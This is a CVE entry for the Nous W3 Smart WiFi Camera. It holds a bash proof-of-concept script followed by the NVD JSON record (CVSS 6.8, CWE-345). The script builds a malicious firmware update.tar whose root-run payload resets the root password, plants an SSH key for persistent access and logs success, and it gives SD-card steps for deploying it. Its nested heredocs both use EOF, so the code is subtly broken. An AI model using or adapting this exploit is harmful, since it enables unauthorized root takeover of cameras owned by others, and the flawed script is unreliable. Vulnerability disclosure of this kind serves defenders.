CVE-2025-56438

#!/bin/bash # CVE-2025-56438 PoC - Nous W3 Smart WiFi Camera Firmware Update Exploitation # This script creates a malicious update.tar for privilege escalation # Create directory structure mkdir -p exploit_update/system/sdcard cd exploit_update # Create malicious script that will be executed with root privileges cat > system/sdcard/run.sh << 'EOF' #!/bin/sh # Reverse shell or privilege escalation payload # This script will be executed as root # Create new root user or modify existing chpasswd << EOF root:password123 EOF # Add SSH public key for persistent access mkdir -p /root/.ssh chmod 700 /root/.ssh echo 'ssh-rsa AAAA...' > /root/.ssh/authorized_keys # Log successful exploitation echo "[$(date)] CVE-2025-56438 exploit successful" >> /tmp/exploit_log.txt EOF chmod +x system/sdcard/run.sh # Create the malicious update.tar archive tar -cvf update.tar system/ # Cleanup cd .. rm -rf exploit_update echo "Malicious update.tar created successfully" echo "Instructions:" echo "1. Format SD card as FAT32" echo "2. Copy update.tar to SD card root directory" echo "3. Insert SD card into Nous W3 Smart WiFi Camera" echo "4. Reboot the device to trigger exploitation"

{"cve": {"id": "CVE-2025-56438", "sourceIdentifier": "[email protected]", "published": "2025-10-24T15:15:39.137", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the firmware update mechanism of Nous W3 Smart WiFi Camera v1.33.50.82 allows unauthenticated and physically proximate attackers to escalate privileges to root via supplying a crafted update.tar archive file stored on a FAT32-formatted SD card."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-345"}]}], "references": [{"url": "http://nous.com", "source": "[email protected]"}, {"url": "https://github.com/MMarble21/Smart-camera-privilege-escalation/blob/main/ADVISORY.md", "source": "[email protected]"}]}}